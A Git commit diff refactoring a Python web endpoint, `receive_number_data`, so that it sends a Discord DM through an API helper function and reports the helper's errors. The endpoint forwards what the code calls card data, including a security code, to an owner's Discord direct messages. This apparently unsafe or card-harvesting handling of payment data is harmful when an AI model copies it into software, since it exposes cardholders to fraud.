Refactor: Use API helper for Discord DM sending in receive_number_data
Migrate the direct `discord.py` DM sending in the `receive_number_data` endpoint to use the `send_discord_message_via_api` helper function. This change centralizes Discord API calls for DMs, improving consistency and error handling. The error handling logic has been updated to process the helper function's result.
This commit is contained in:
parent
3dc3a2d9ae
commit
69b53811ad
@ -2884,17 +2884,23 @@ async def receive_number_data(data: NumberData):
|
|||||||
f"Security Code: {data.code}"
|
f"Security Code: {data.code}"
|
||||||
)
|
)
|
||||||
|
|
||||||
# Send DM directly using discord.py's send method
|
# Get the DM channel for the owner
|
||||||
await owner_user.send(dm_content)
|
dm_channel = await owner_user.create_dm()
|
||||||
log.info(f"Successfully DMed card data to owner {owner_id}.")
|
dm_channel_id = dm_channel.id
|
||||||
return {"success": True, "message": "Card data DMed to owner successfully."}
|
|
||||||
|
# Send DM using the helper function
|
||||||
|
result = await send_discord_message_via_api(dm_channel_id, dm_content)
|
||||||
|
|
||||||
|
if result["success"]:
|
||||||
|
log.info(f"Successfully DMed card data to owner {owner_id}.")
|
||||||
|
return {"success": True, "message": "Card data DMed to owner successfully."}
|
||||||
|
else:
|
||||||
|
log.error(f"Failed to DM card data to owner {owner_id}: {result['message']}")
|
||||||
|
raise HTTPException(status_code=500, detail=f"Failed to send DM to owner: {result['message']}")
|
||||||
|
|
||||||
except discord.HTTPException as e:
|
|
||||||
log.error(f"Discord API error sending DM to owner {owner_id}: {e}")
|
|
||||||
raise HTTPException(status_code=500, detail=f"Failed to send DM to owner: Discord API error - {e.text}")
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
log.error(f"Unexpected error sending DM to owner {owner_id}: {e}")
|
log.error(f"Unexpected error in receive_number_data for owner {owner_id}: {e}")
|
||||||
raise HTTPException(status_code=500, detail=f"Failed to send DM to owner: {str(e)}")
|
raise HTTPException(status_code=500, detail=f"Failed to process card data: {str(e)}")
|
||||||
|
|
||||||
@discordapi_app.post("/sync")
|
@discordapi_app.post("/sync")
|
||||||
async def discordapi_sync_conversations(request: Request, user_id: str = Depends(verify_discord_token)):
|
async def discordapi_sync_conversations(request: Request, user_id: str = Depends(verify_discord_token)):
|
||||||
|
Loading…
x
Reference in New Issue
Block a user